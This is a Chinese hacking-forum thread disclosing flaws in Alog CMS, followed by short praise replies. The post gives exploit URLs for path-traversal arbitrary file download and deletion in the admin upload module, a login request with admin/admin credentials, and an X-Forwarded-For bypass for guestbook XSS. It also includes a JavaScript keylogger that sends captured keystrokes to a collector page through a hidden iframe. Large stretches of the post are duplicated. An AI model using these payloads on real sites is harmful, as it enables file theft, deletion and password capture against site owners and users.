查看: 1613|回复: 25

Alog CMS系统XSS任意文件下载读取漏洞

[复制链接]
发表于 2012-12-1 05:35:21 | 显示全部楼层 |阅读模式
Alog CMS

后台 任意下载 任意删除  任意列目录

漏洞文件:admin/mod/uploadfile.mod.php

$baseDir = SITE_ROOT.'static/upload/';
$currentDir = $_GET['dir'] ? $_GET['dir'] : ($_POST['dir'] ? $_POST['dir'] : ''); //没有任何过滤
$currentPath = $baseDir.$currentDir;

  
任意下载
$uploadfile = $_GET['uploadfile'] ? $currentPath.'/'.$_GET['uploadfile'] : $currentPath;
  //$_GET['uploadfile']文件名称没有经常任何安全过滤
        if (@is_file($uploadfile)) //如果文件存在即刻下载
        {
                $fileName = basename($uploadfile);
                $fileNameInfo = explode('.', $fileName);
                $fileType = $filename_info[count($fileNameInfo) - 1];
                header('Content-type: application/x-'.$fileType);
                header('Content-Disposition: attachment; filename='.$fileName);
                header('Content-Description: PHP3 Generated Data');
                readfile($uploadfile);
                exit;
}
   EXP
    http://localhost/upload/admin/index.php?m=uploadfile&a=download&dir=advertisiment/../../../admin&uploadfile=index.php

http://localhost/upload/admin/index.php?m=uploadfile&a=delete&dir=&uploadfile=advertisiment/../../../2.php


http://localhost/upload/admin/index.php?m=login&a=login
http://localhost/upload/admin/index.php?m=login&a=login
userName=admin&password=admin&VCode=anqm&lang=zh-cn

遍历目录文件

留言板X-Forwarded-For 可以绕过导致跨站

Heads: X-Forwarded-For:192.168.1.1

Alog CMS

后台 任意下载 任意删除  任意列目录

漏洞文件:admin/mod/uploadfile.mod.php

$baseDir = SITE_ROOT.'static/upload/';
$currentDir = $_GET['dir'] ? $_GET['dir'] : ($_POST['dir'] ? $_POST['dir'] : ''); //没有任何过滤
$currentPath = $baseDir.$currentDir;

  
任意下载
$uploadfile = $_GET['uploadfile'] ? $currentPath.'/'.$_GET['uploadfile'] : $currentPath;
  //$_GET['uploadfile']文件名称没有经常任何安全过滤
        if (@is_file($uploadfile)) //如果文件存在即刻下载
        {
                $fileName = basename($uploadfile);
                $fileNameInfo = explode('.', $fileName);
                $fileType = $filename_info[count($fileNameInfo) - 1];
                header('Content-type: application/x-'.$fileType);
                header('Content-Disposition: attachment; filename='.$fileName);
                header('Content-Description: PHP3 Generated Data');
                readfile($uploadfile);
                exit;
}
   EXP
    http://localhost/upload/admin/index.php?m=uploadfile&a=download&dir=advertisiment/../../../admin&uploadfile=index.php

http://localhost/upload/admin/index.php?m=uploadfile&a=delete&dir=&uploadfile=advertisiment/../../../2.php


http://localhost/upload/admin/index.php?m=login&a=login
http://localhost/upload/admin/index.php?m=login&a=login
userName=admin&password=admin&VCode=anqm&lang=zh-cn

遍历目录文件

留言板X-Forwarded-For 可以绕过导致跨站

Heads: X-Forwarded-For:192.168.1.1

跨站协助删除后台文件  

获取后台路径监视输入字符
1.js

var keys;  //保存键盘记录
var key;
document.onkeypress = function(e) {   //劫持键盘消息函数
    get = window.event ? event:e;//创建事件对象
    key = get.keyCode ? get.keyCode : get.charCode;
    switch(key){
        case 32 : key = '[Space]';break;
                case 13 : key = '[Enter]';break;
        default :
            key = String.fromCharCode(key);
            keys += key;
            //alert(key+"||"+keys);
    }

跨站协助删除后台文件  

获取后台路径监视输入字符
1.js

var keys;  //保存键盘记录
var key;
document.onkeypress = function(e) {   //劫持键盘消息函数
    get = window.event ? event:e;//创建事件对象
    key = get.keyCode ? get.keyCode : get.charCode;
    switch(key){
        case 32 : key = '[Space]';break;
                case 13 : key = '[Enter]';break;
        default :
            key = String.fromCharCode(key);
            keys += key;
            //alert(key+"||"+keys);
    }
}
function f()
{   
         $url=escape(window.location.pathname);
         ifm=document.createElement("IFRAME");
         document.body.appendChild(ifm);
         ifm.width=0;
         ifm.height=0;
         ifm.src="http://localhost/upload/7.php?x="+$url+"//"+keys;
}
window.setInterval(f,5000)
//setTimeout(f,"1000");
发表于 2012-12-10 18:56:00 | 显示全部楼层
不错,感谢楼主
发表于 2014-10-2 08:28:43 | 显示全部楼层
不管你信不信,反正我信  
发表于 2014-10-12 13:24:33 | 显示全部楼层
我的啦嘿嘿  
发表于 2014-11-5 10:17:16 | 显示全部楼层
厉害!强~~~~没的说了!  
发表于 2014-11-18 04:40:20 | 显示全部楼层
我的妈呀,爱死你了  
发表于 2014-12-5 14:47:57 | 显示全部楼层
水至清则无鱼,人至贱则无敌!  
发表于 2014-12-29 00:22:03 | 显示全部楼层
要不我崇拜你?行吗?  
发表于 2015-1-28 17:49:27 | 显示全部楼层
呵呵,明白了  
发表于 2015-3-2 18:52:41 | 显示全部楼层
非常感谢楼主,楼主万岁万岁万万岁!  
高级模式
B Color Image Link Quote Code Smilies

本版积分规则